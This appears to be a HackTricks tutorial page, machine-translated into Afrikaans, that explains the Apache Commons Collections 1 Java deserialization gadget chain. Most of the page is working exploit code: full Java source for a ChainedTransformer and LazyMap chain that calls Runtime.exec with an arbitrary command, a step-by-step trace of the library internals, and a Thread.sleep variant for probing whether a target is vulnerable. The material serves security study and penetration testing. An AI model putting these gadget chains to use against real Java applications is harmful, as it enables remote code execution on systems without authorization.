CommonsCollection1 Payload - Java Transformers to Rutime exec() en Thread Sleep

Reading time: 6 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Java Transformers to Rutime exec()

In verskeie plekke kan jy 'n java deserialisering payload vind wat transformers van Apache common collections gebruik soos die volgende:

java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

As jy niks weet van java deserialisering payloads nie, kan dit moeilik wees om uit te figure hoekom hierdie kode 'n kalkuleerder sal uitvoer.

Eerstens moet jy weet dat 'n Transformer in Java iets is wat 'n klas ontvang en dit na 'n ander een transformeer.
Dit is ook interessant om te weet dat die payload wat hier uitgevoer word gelykstaande is aan:

java
Runtime.getRuntime().exec(new String[]{"calc.exe"});

Of meer presies, wat aan die einde uitgevoer gaan word, sal wees:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Hoe

So, hoe is die eerste payload voorgestel gelyk aan daardie "simpele" een-liners?

Eerstens kan jy in die payload opmerke dat 'n ketting (array) van transformasies geskep word:

java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

As jy die kode lees, sal jy opgemerk dat as jy op een of ander manier die transformasie van die array ketting, jy in staat sal wees om arbitrêre opdragte uit te voer.

So, hoe word daardie transformasies geketting?

java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

In die laaste gedeelte van die payload kan jy sien dat 'n Map objek geskep word. Dan word die funksie decorate uitgevoer vanaf LazyMap met die map objek en die geketende transformers. Uit die volgende kode kan jy sien dat dit sal veroorsaak dat die gekete transformers binne die lazyMap.factory attribuut gekopieer word:

java
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

En dan word die groot finale uitgevoer: lazyMap.get("anything");

Dit is die kode van die get funksie:

java
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

En dit is die kode van die transform funksie

java
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

So, onthou dat ons binne factory chainedTransformer gestoor het en binne die transform funksie deur al daardie geketende transformers gaan en een na die ander uitvoer. Die snaaks ding is dat elke transformer object as invoer gebruik en object is die uitvoer van die laaste uitgevoerde transformer. Daarom, word al die transforms geketend uitgevoer met die kwaadwillige payload.

Samevatting

Aan die einde, as gevolg van hoe lazyMap die geketende transformers binne die get metode bestuur, is dit soosof ons die volgende kode uitvoer:

java
Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Noot hoe value die invoer van elke transformasie is en die uitvoer van die vorige transformasie, wat die uitvoering van 'n een-liner moontlik maak:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Let wel dat hier die gadgets verduidelik is wat gebruik word vir die ComonsCollections1 payload. Maar dit is oor hoe dit alles begin om uit te voer. Jy kan hier sien dat ysoserial, om hierdie payload uit te voer, 'n AnnotationInvocationHandler objek gebruik omdat wanneer hierdie objek gedeserialiseer word, dit die payload.get() funksie sal aanroep wat die hele payload sal uitvoer.

Java Thread Sleep

Hierdie payload kan handig wees om te identifiseer of die web kwesbaar is, aangesien dit 'n slaap sal uitvoer as dit is.

java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Meer Gadgets

Jy kan meer gadgets hier vind: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks